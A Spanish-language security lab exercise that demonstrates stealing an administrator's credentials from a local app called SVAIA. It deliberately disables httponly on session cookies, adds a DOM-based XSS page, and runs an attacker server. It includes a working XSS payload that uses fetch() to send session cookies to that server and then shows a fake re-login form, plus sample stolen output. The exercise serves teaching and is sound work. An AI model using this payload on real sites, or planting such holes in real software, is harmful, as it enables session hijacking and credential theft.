Práctica 7.4: Robo de Credenciales mediante XSS y Phishing

Descripción del ejercicio

Este ejercicio demuestra un ataque completo de **robo de credenciales**.

El objetivo es comprometer las credenciales del usuario **administrador** de la aplicación SVAIA.

Modificaciones necesarias en la aplicación

1. Configuración de cookies insegura

Archivo: `api/app.py`

Cambio realizado:

```
# CONFIGURACIÓN INSEGURA PARA EL ATAQUE
response.set_cookie(
    'access_token',
    token,
    max_age=timedelta(hours=24),
    httponly=False,      # ← CAMBIADO: Era True, ahora False
    secure=False,        # ← MANTENER: Para desarrollo local
    samesite='Lax'
)
```

Justificación: - `httponly=False` permite que JavaScript acceda a las cookies

2. Página vulnerable añadida

Archivo nuevo: `web/templates/vulnerable.html`

Página con vulnerabilidad DOM-based XSS que: - Procesa parámetros URL sin sanitizar - Usa `innerHTML` directamente - Incluye formulario de phishing oculto

Archivo modificado: `web/app.py`

Ruta añadida:

```
@app.route("/search")
def search_page():
    """
    Página vulnerable para demostrar DOM-based XSS
    """
    return render_template("vulnerable.html")
```

3. Servidor del atacante

Archivos nuevos: - `atacante/server.py` - Servidor para recibir datos robados - `atacante/Dockerfile` - Containerización - `atacante/requirements.txt` - Dependencias

Puerto: 5004 (configurado en docker-compose.yaml)

4. Configuración Docker

Archivo modificado: `docker-compose.yaml`

Servicio añadido:

```yaml
atacante:
  container_name: atacante
  build:
    context: ./atacante
    dockerfile: Dockerfile
  ports:
    - "5004:5004"
  volumes:
    - ./atacante:/app
  environment:
    TZ: Europe/Madrid
    FLASK_ENV: development
    FLASK_APP: server.py
  restart: always
  command: ["python", "server.py"]
```

Cómo realizar el ataque

Paso 1: Iniciar el contenedor Docker

```
# Verificar que todos los servicios estén funcionando:
# - App principal: http://localhost:5003
# - API: http://localhost:5001
# - Chat: http://localhost:5002
# - Servidor atacante: http://localhost:5004
```

Paso 2: Autenticación como administrador

1. Acceder a http://localhost:5003/login
2. Credenciales del administrador:
   - **Usuario:** `admin`
   - **Contraseña:** `admin`
3. Verificar que el login es exitoso y se puede acceder al panel

Paso 3: Ejecución del ataque

URL maliciosa a enviar al administrador:

```
http://localhost:5003/search?q=<img src=x onerror="
// Fase 1: Robar cookies de sesión
fetch('http://localhost:5004/steal',{
    method:'POST',
    headers:{'Content-Type':'application/json'},
    body:JSON.stringify({
        type:'session_cookies',
        cookies:document.cookie,
        url:location.href,
        userAgent:navigator.userAgent,
        timestamp:new Date().toISOString()
    })
});

// Fase 2: Mostrar formulario de phishing
setTimeout(()=>{
    document.getElementById('search-results').style.display='none';
    document.getElementById('fake-login').style.display='block';
    document.title='Sesión Expirada - SVAIA';
},3000);
">
```

Versión URL-encoded (para envío real):

```
http://localhost:5003/search?q=
%3Cimg%20src%3Dx%20onerror%3D%22
fetch%28%27http%3A//localhost%3A5004/steal%27%2C
%7Bmethod%3A%27POST%27%2C
headers%3A%7B%27Content-Type%27%3A
%27application/json%27%7D%2C
body%3AJSON.stringify%28%7B
type%3A%27session_cookies%27%2C
cookies%3Adocument.cookie%2C
url%3Alocation.href%7D%29%7D%29%3B
setTimeout%28%28%29%3D%3E%7B
document.getElementById%28
%27search-results%27%29.style.display
%3D%27none%27%3B
document.getElementById%28
%27fake-login%27%29.style.display
%3D%27block%27%3B
%7D%2C3000%29%3B%22%3E
```

Paso 4: Flujo del ataque

1. **La víctima (admin) hace clic** en el enlace malicioso
2. **XSS se ejecuta inmediatamente:**
   - Se roban las cookies de sesión (JWT token)
   - Se envían al servidor atacante en puerto 5004
3. **Después de 3 segundos:**
   - Desaparece el contenido de búsqueda
   - Aparece formulario de "re-autenticación"
4. **Ingeniería social:**
   - Mensaje: "Sesión de seguridad expirada"
   - La víctima introduce usuario y contraseña reales
5. **Credenciales capturadas:**
   - Se envían al servidor atacante
   - El atacante simula éxito y redirige

Paso 5: Monitoreo del ataque

Ver datos robados en tiempo real:

```
# Ver todos los datos capturados
http://localhost:5004/stolen

# Ver solo credenciales
http://localhost:5004/stolen/credentials

# Ver solo sesiones
http://localhost:5004/stolen/sessions

# Panel web del atacante
http://localhost:5004
```

Resultado del ataque

Datos comprometidos:

1. Sesión activa (cookies JWT):

```
{
  "type": "session_cookies",
  "cookies": "access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
  "url": "http://localhost:5003/search?q=...",
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
  "timestamp": "2024-01-15T10:30:45.123Z",
  "ip": "172.18.0.1"
}
```

2. Credenciales en texto plano:

```
{
  "type": "credentials",
  "username": "admin",
  "password": "admin",
  "timestamp": "2024-01-15T10:31:20.456Z",
  "origin": "http://localhost:5003",
  "page": "phishing_form",
  "ip": "172.18.0.1"
}
```